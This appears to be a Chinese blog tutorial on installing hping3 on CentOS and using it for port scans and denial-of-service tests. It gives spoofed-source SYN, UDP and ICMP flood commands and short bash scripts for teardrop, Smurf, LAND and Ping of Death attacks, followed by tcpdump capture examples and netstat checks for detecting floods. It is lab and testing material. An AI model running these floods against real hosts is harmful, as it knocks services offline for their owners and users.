CentOS hping3安装和应用

  • CentOS 安装hping3工具
    • 安装libpcap，libpcap-devel，tcl和tcl-devel
    • hping安装
    • 出错后问题解决
      • configure 时候出错
      • make找不到pcap.h
      • 找不到pcap.h
      • -ltcl -lm -lpthread
  • hping3工具的使用
    • 端口扫描
    • syn flood
    • udp flood
    • icmp flood
    • dns flood
    • teardrop
    • SMURF攻击
    • XMAS TREE攻击
    • LAND攻击
    • Ping of Death攻击
  • 抓包验证
  • shell检测攻击数量
    • SYN Flood攻击检测
    • UDP Flood攻击检测
    • Lood攻击检测
    • ICMP Flood攻击检测

CentOS 安装hping3工具

CentOS 安装 hping3 工具！

安装libpcap，libpcap-devel，tcl和tcl-devel

yum -y install libpcap libpcap-devel tcl tcl-devel
  • 如果找不到包，从光盘映像文件下找到这三个rpm包，手动安装 rpm -ivh filename.rpm（忽略版本）
rpm -ivh '/root/Desktop/tcl-8.5.7-6.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/tcl-devel-8.5.7-6.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/libcap-devel-2.16-5.5.el6.x86_64.rpm'
rpm -ivh '/root/Desktop/libpcap-1.4.0-1.20130826git2dbcaa1.el6.x86_64.rpm'

hping安装

//确定pcap-bpf.h是否存在/usr/include/下，如果不存在，跳过这步，在下面libpcap-1.1.1.tar.gz的解压包中复制过来
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105./configure
make
make install

出错后问题解决

configure 时候出错

  • error can not find the byte order for this architecture, fix bytesex.h
    原因：
    没有指定 x86_64 下的大小端对齐。
  • 解决方法：
    修改 bytesex.h，在 defined(i386) 后添加 defined(x86_64)。

修改前

#if  defined(__i386__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

修改后

#if  defined(__i386__) \|| defined(__x86_64__) \|| defined(__alpha__) \|| (defined(__mips__) && (defined(MIPSEL) || defined (__MIPSEL__)))

make找不到pcap.h

  • 下载libpcap-1.1.1.tar.gz
http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar zxvf libpcap-1.1.1.tar.gz
cd libpcap-1.1.1
./configure
  • 然后把libcap-1.9.1/pcap/中的复制到/usr/include/中或者把路径添加到环境变量
sudo cp pcap.h /usr/include/

export C_INCLUDE_PATH=&C_INCLUDE_PATH:头文件
source /etc/profile
echo $C_INCLUDE_PATH

找不到pcap.h

  • 添加软连接 /usr/include/net/bpf.h。
ln -sf /libpcap-1.1.1/pcap-bpf.h /usr/include/net/bpf.h

-ltcl -lm -lpthread

ln -sf libpcap.so.1.4.0 /usr/lib64/libpcap.so.1

hping3工具的使用

端口扫描

  • 通过 eth0 网口，发送 SYN 报文 到 192.168.1.12:8080
hping3 -I eth0 -S 192.168.1.12 -p 8080

syn flood

  • 默认协议： tcp； 默认源端口：随机； 默认源地址：攻击机的 ip 地址
通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造源地址为192.168.1.222，时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 -a 192.168.1.222 -i u1000通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址，时间间隔 1000us。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source -i u1000通过 eth0 网口。发送 SYN 报文 到 192.168.1.12:8080。伪造随机源地址，洪水攻击。
洪水攻击，速率最快的攻击。不会显示数据 和 丢包的统计。
hping3 -I eth0 -S 192.168.1.12 -p 8080 --rand-source --flood

udp flood

发送 udp 报文 到 192.168.1.12:8080。
hping3 --udp 192.168.1.12 -p 8080发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址，洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood

icmp flood

发送 icmp 报文 到 192.168.1.12。
hping3 --icmp 192.168.1.12发送 icmp 报文 到 192.168.1.12。伪造随机源地址，洪水攻击。
hping3 --icmp 192.168.1.12 --rand-source --flood

dns flood

发送 udp 报文 到 192.168.1.12:8080。伪造随机源地址，洪水攻击。
hping3 --udp 192.168.1.12 -p 8080 --rand-source --flood

teardrop

  • Teardrop攻击是一种拒绝服务攻击。是基于病态分片数据包的攻击方法。
    其工作原理是向被攻击者发送多个分片的IP包（IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息）。
    某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
#!/bin/bashfunction teardrop ( )
{local victim_ip=$1local id_begin=$2local id_end=$3for((id=${id_begin};id<${id_end};id++))dohping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefraghping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400done
}teardrop $*

SMURF攻击

  • Smurf攻击通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包，来淹没受害主机，
    最终导致该网络的所有主机都对此ICMP应答请求做出答复，导致网络阻塞。
    更加复杂的Smurf将源地址改为第三方的受害者，最终导致第三方崩溃。
#!/bin/bashfunction smurf ( )
{local victim_ip=$1local broadcast_ip=$2hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}smurf $*

XMAS TREE攻击

  • TCP所有标志位被设置为1的数据包被称为圣诞树数据包（XMas Tree packet），之所以叫这个名是因为这些标志位就像圣诞树上灯一样全部被点亮。
hping3 -SFRP 192.168.1.12

LAND攻击

  • LAND攻击方式采用了特别构造的TCP SYN数据包（通常用于开启一个新的连接），使目标机器开启一个源地址与目标地址均为自身IP地址的空连接，持续地自我应答，消耗系统资源直至崩溃。这种攻击方法与SYN洪泛攻击并不相同。
 #!/bin/bashfunction land ( )
{local victim_ip=$1hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}land $*

Ping of Death攻击

  • Ping of Death攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统，在接收到一个这样的报文后，由于处理不当，会造成系统崩溃、死机或重启)。
#!/bin/bashfunction ping_of_death ()
{local victim_ip=$1local id=186local data_size=1450let icmp_size=${data_size}+8hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag for i in $(seq 50)dolet offset=${i}*${icmp_size}hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offsetdone
}ping_of_death $*

抓包验证

01、抓取所有网络包，并在terminal中显示抓取的结果，将包以十六进制的形式显示。
tcpdump
02、抓取所有的网络包，并存到 result.cap 文件中。
tcpdump -w result.cap
03、抓取所有的经过eth0网卡的网络包，并存到 result.cap 文件中。
tcpdump -i eth0 -w result.cap
04、抓取源地址是192.168.1.100的包，并将结果保存到 result.cap 文件中。
tcpdump src host 192.168.1.100 -w result.cap
05、抓取地址包含是192.168.1.100的包，并将结果保存到 result.cap 文件中。
tcpdump host 192.168.1.100 -w result.cap
06、抓取目的地址包含是192.168.1.100的包，并将结果保存到 result.cap 文件中。
tcpdump dest host 192.168.1.100 -w result.cap
07、抓取主机地址为 192.168.1.100 的数据包
tcpdump -i eth0 -vnn host 192.168.1.100
08、抓取包含192.168.1.0/24网段的数据包
tcpdump -i eth0 -vnn net 192.168.1.0/24
09、抓取网卡eth0上所有包含端口22的数据包
tcpdump -i eth0 -vnn port 22
10、抓取指定协议格式的数据包，协议格式可以是「udp,icmp,arp,ip」中的任何一种,例如以下命令：
tcpdump udp  -i eth0 -vnn
11、抓取经过 eth0 网卡的源 ip 是 192.168.1.100 数据包，src参数表示源。
tcpdump -i eth0 -vnn src host 192.168.1.100
12、抓取经过 eth0 网卡目的 ip 是 192.168.1.100 数据包，dst参数表示目的。
tcpdump -i eth0 -vnn dst host 192.168.1.100
13、抓取源端口是22的数据包
tcpdump -i eth0 -vnn src port 22
14、抓取源ip是 192.168.1.100 且目的ip端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and dst port 22
15、抓取源ip是192.168.1.100或者包含端口是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 or port 22
16、抓取源ip是192.168.1.100且端口不是22的数据包
tcpdump -i eth0 -vnn src host 192.168.1.100 and not port 22
17、抓取源ip是192.168.1.100且目的端口是22，或源ip是192.168.1.102且目的端口是80的数据包。
tcpdump -i eth0 -vnn ( src host 192.168.1.100 and dst port 22 ) or ( src host 192.168.1.102 and dst port 80 )
18、把抓取的数据包记录存到/tmp/result文件中，当抓取100个数据包后就退出程序。
tcpdump –i eth0 -vnn -w /tmp/result -c 100
19、从/tmp/result记录中读取tcp协议的数据包
tcpdump -i eth0  tcp  -vnn -r /tmp/result
20、想要截获所有192.168.1.100 的主机收到的和发出的所有的数据包：
tcpdump host 192.168.1.100
21、如果想要获取主机192.168.1.100除了和主机192.168.1.101之外所有主机通信的ip包，使用命令：
tcpdump ip host 192.168.1.100 and ! 192.168.1.101
22、如果想要获取主机 192.168.1.100 接收或发出的 telnet 包，使用如下命令：
tcpdump tcp port 23 host192.168.1.100

shell检测攻击数量

SYN Flood攻击检测

netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4!=$5){print $4,$5}}' |wc -l

UDP Flood攻击检测

netstat -nua |wc -l

Lood攻击检测

netstat -nt |grep SYN_RECV |awk '/^tcp/{sub(/:.*/,"",$4);sub(/:.*/,"",$5);if($4==$5){print $4,$5}}' |wc -l

ICMP Flood攻击检测

netstat -s | grep "ICMP messages received" | awk '{print $1}'

CentOS hping3安装和应用相关推荐

  1. CentOS 8 安装图解

    继 RHEL 8 发布之后,CentOS 社区也发布了让人期待已久的 CentOS 8,并发布了两种模式: CentOS stream:滚动发布的 Linux 发行版,适用于需要频繁更新的开发者 Ce ...

  2. centOS 自动安装php

    centos下安装php #yum install -y php 这个只安装PHP 建议安装运行库及MySQL的支持 #yum install -y php php-devel php-mysql 如 ...

  3. Centos下安装mysql 总结

    一.MySQL安装 Centos下安装mysql 请点开:http://www.centoscn.com/CentosServer/sql/2013/0817/1285.html 二.MySQL的几个 ...

  4. linux卸载欧朋浏览器,如何在Centos下安装opera浏览器

    如何在Centos下安装opera浏览器 ,Opera目前是Linux平台上性能最优的浏览器,而且Opera中国团队本身即定位于Opera的研发中心,主要也是负责全球Linux平台项目的开发,这个版本 ...

  5. 如何在Ubuntu/CentOS上安装Linux内核4.0

    如何在Ubuntu/CentOS上安装Linux内核4.0 大家好,今天我们学习一下如何从Elrepo或者源代码来安装最新的Linux内核4.0.代号为'Hurr durr I'm a sheep'的 ...

  6. CentOS 7 安装 Jenkins

    CentOS 7 安装 Jenkins 准备工作 首选需要安装JAVA环境 这个简单不说了 如果你的系统没有自带git,那么也需要安装一个 yum install git 1.安装 第一种方法 sud ...

  7. centos+ffmpeg安装配置+切片

    在虚拟机vmware6(版本比较旧了)中,安装centos6,不多说了. vmware虚拟工具安装前,需要安装如下内容 yum -y install kernel-devel yum -y insta ...

  8. centos 编译安装mysql

    centos 编译安装mysql,请看附件 转载于:https://blog.51cto.com/3131854/1883713

  9. 在CentOS下安装apche+tomcat+mysql+php

    在CentOS下安装apche+tomcat+mysql+php 本例中所用到的软件 Apache 2.2 Sun的JDK-1_5_0_12-linux-i586 MySQL: mysql-5.0.4 ...

  10. 在CentOS上安装Java环境—openjdk1.7 解决https配置问题

    在CentOS上安装Java环境:[1]使用yum安装java 现阶段做企业级项目开发一般都采用Java语言.开发的项目需要放在服务器上运行测试,若以CentOS系统为服务器系统,首先要解决就是Cen ...

最新文章

  1. 从零搭建React全家桶框架教程
  2. Android学习笔记(1)----播放音乐文件
  3. poj 2456 Aggressive cows（贪心+二分）
  4. 数字雕刻中“节奏”的作用
  5. 接口方法和映射器的statement id 是怎么绑定起来的？
  6. 图论解油瓶分油问题_一个很有趣的de novo图论算法
  7. TensorFlow2.0(九)--Keras实现基础卷积神经网络
  8. maya如何导出ue4_Maya建模师分享干货的时间到啦，教你用UE4如何导入动画
  9. php-php连接数据库
  10. ODOO v10.0 自动生成财务凭证的科目设置
  11. Linux命令行技巧
  12. python resample_Python骚操作：利用Python获取摄像头并实时控制人脸！
  13. 计算机的acpi高级电源选项配置,ACPI电源管理模式详解
  14. 华为手机禁用省电精灵
  15. [VUE3]vue2.x中slot-scope插槽在vue3.x中的写法(以elementPlus和AntDesign为例)
  16. 弧齿锥齿轮零件图_弧齿锥齿轮画法类别
  17. SQL注入学习日记(一)
  18. uos系统桌面怎么没有计算机图标,UOS系统体验：启动、桌面和开始菜单
  19. 2022年陕西最新建筑八大员（质量员）模拟考试题库及答案解析
  20. 深入理解pytorch分布式并行处理工具DDP——从工程实战中的bug说起

热门文章

  1. JAVA实现网页版斗地主_Java实现斗地主简化版
  2. chrome 长截屏插件
  3. gg修改器怎么能让服务器检测不到,gg修改器怎么绕过检测 | 手游网游页游攻略大全...
  4. knx智能照明控制系统电路图_汇勒智能照明控制-KNX/EIB系统如何安装跟布线的
  5. 文章2021_01_05_stata15在mac上的dta编码问题和系统crash
  6. 网站通用 敏感词列表
  7. 【VS插件】VS2012设置透明背景
  8. 二级c语言 办公软件高级应用,高级应用题库_计算机国二office高级应用考试的题目是从题库20套里抽其中一套还是别的题目_淘题吧...
  9. PR快闪模板 高端黑白超级快闪图文展示开场PR视频模板
  10. 计算机桌面如何分区,讲解电脑如何分区